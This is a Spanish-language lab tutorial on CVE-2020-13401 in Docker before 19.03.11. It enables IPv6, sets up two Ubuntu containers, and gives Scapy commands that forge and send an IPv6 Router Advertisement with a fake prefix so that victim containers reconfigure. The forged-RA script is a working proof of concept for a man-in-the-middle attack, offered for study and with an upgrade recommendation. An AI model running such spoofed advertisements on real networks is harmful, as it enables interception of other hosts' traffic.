
Estudio sobre la vulnerabilidad CVE-2020-13401 de los contenedores en versiones de Docker anteriores a la 19.03.11
Estudio sobre la vulnerabilidad CVE-2020-13401 de contenedores en dockers anteriores a 19.03.11
Los contenedores que se crean con versiones de Docker Engine anteriores a 19.03.11 son vulnerables a recibir y aplicar mensajes RA (Router Advertisement / Anuncio de router) falsos desde otros contenedores de la red. Recibir RAs es un comportamiento normal del sistema operativo, pero si el remitente de RA no es de confianza en la red, el contenedor víctima puede recibir el mensaje y unirse a la red y luego enviar todos los paquetes de red al nuevo router falso (ataque de hombre en el medio). Este problema no está relacionado con IPv4 y se basa en IPv6.
Fuente original del elemento CVE: CVE-2020-13401
En los Docker Engines anteriores a 19.03.11, los contenedores aceptan mensajes RA por defecto. Considera que hay otro contenedor en la red con la capacidad CAP_NET_RAW. Eso significa que este contenedor puede crear cualquier paquete de red y enviarlo a la red. Por lo tanto, este contenedor puede usarse como fuente de creación de paquetes (packet crafting). En versiones más recientes, los contenedores no aceptan mensajes RA a menos que esta característica esté habilitada en el docker engine. Así que el sistema podría seguir siendo vulnerable si un administrador decide habilitar esta característica.
Es muy recomendable actualizar Docker Engine para proteger el entorno de tus contenedores contra esta vulnerabilidad.
En este estudio quiero demostrar cómo ocurre esta vulnerabilidad y ver cómo nuestro contenedor se ve afectado por el mensaje RA
En los contenedores en ejecución, probé para verificar si IPv6 funciona. Pero descubrí que no hay soporte de IPv6 por defecto en mi contenedor. Por defecto, todos los contenedores docker están conectados a una red bridge y esta red no soporta IPv6. Para habilitar IPv6 en docker, es necesario añadir un archivo daemon.json en la ruta /etc/docker/. El contenido de este archivo debe ser el siguiente:
{ "ipv6": true, "fixed-cidr-v6": "fd00::/80" }
Es posible asignar cualquier dirección de subred IPv6 válida. Luego, docker debe reiniciarse y volver a leer el archivo daemon desde cero para configurar su red bridge por defecto. También es posible definir una nueva red para soportar IPv6.
Comandos para recargar la configuración y reiniciar docker:
$ sudo systemctl daemon-reload$ sudo systemctl restart dockerHasta ahora tenemos un Docker que soporta IPv6 y es momento de crear los contenedores para iniciar la simulación. Necesitamos al menos 2 contenedores. Los llamaré Ubuntu_1 y Ubuntu_2. En tu máquina anfitriona usa los siguientes comandos para crear tus contenedores:
$ docker pull ubuntu
$ docker run --name ubuntu_1 -i -t ubuntu bash
$ docker run --name ubuntu_2 -i -t ubuntu bash
Lista tus contenedores usando este comando:
$ docker container ls -a
Usa los nombres de tus contenedores para ejecutarlos:
$ docker container start -ai [CONTAINER NAME]
En ambos contenedores necesitas algunas herramientas básicas como:
| Herramienta | Comando de instalación |
|---|---|
| nano (or any other editor) | apt-get install nano |
| net-tools | apt-get install net-tools |
| hping3 | apt-get install hping3 |
| tcpdump | apt-get install tcpdump |
| scapy | apt install python3-scapy (solo instalar en 1 contenedor) |
Instala las herramientas necesarias y verifica si tus contenedores están conectados. Para ello, obtén la IP de tu contenedor y la información de las interfaces usando el comando ifconfig. Luego, haz ping -6 [IPv6 de destino] al otro contenedor para asegurarte de que están conectados. También puedes usar tcpdump en tu contenedor de destino para ver los paquetes de ping recibidos.
(Asegúrate de estar usando IPv6 para hacer ping a los contenedores)
Queremos enviar un mensaje RA manipulado desde uno de los contenedores de la red y actualizar la IpTable de las víctimas.
Estoy usando SCAPY para crear mensajes de anuncio de router IPv6. Scapy está basado en Python. Los pasos de instalación son los siguientes:
$ sudo apt install python3-scapyEl paquete RA es un paquete de difusión (broadcast), lo que significa que debe entregarse a todos los nodos de la red. Además, se basa en las reglas de IPv6. Por lo tanto, la dirección de destino es ff01::1 y el protocolo se basa en ICMPv6.
Ejecuta Scapy:
$ scapy
Uso estos comandos para crear y enviar el paquete a la red:
a = IPv6()
a.dst = "ff02::1"
a.display()
b = ICMPv6ND_RA()
b.display()
c = ICMPv6NDOptSrcLLAddr()
c.lladdr = "02:42:ac:11:00:02"
c.display()
d = ICMPv6NDOptMTU()
d.display()
e = ICMPv6NDOptPrefixInfo()
e.prefixlen = 64
e.prefix = "d00d::"
e.display()
send(a/b/c/d/e)
Después de enviar el paquete, ve a los otros contenedores y usa ifconfig nuevamente. Verás que tu IPTable se actualiza después de recibir los mensajes RA.
Puedes descargar mis imágenes de Docker personalizadas para probar y estudiar este problema: My Customized Docker Images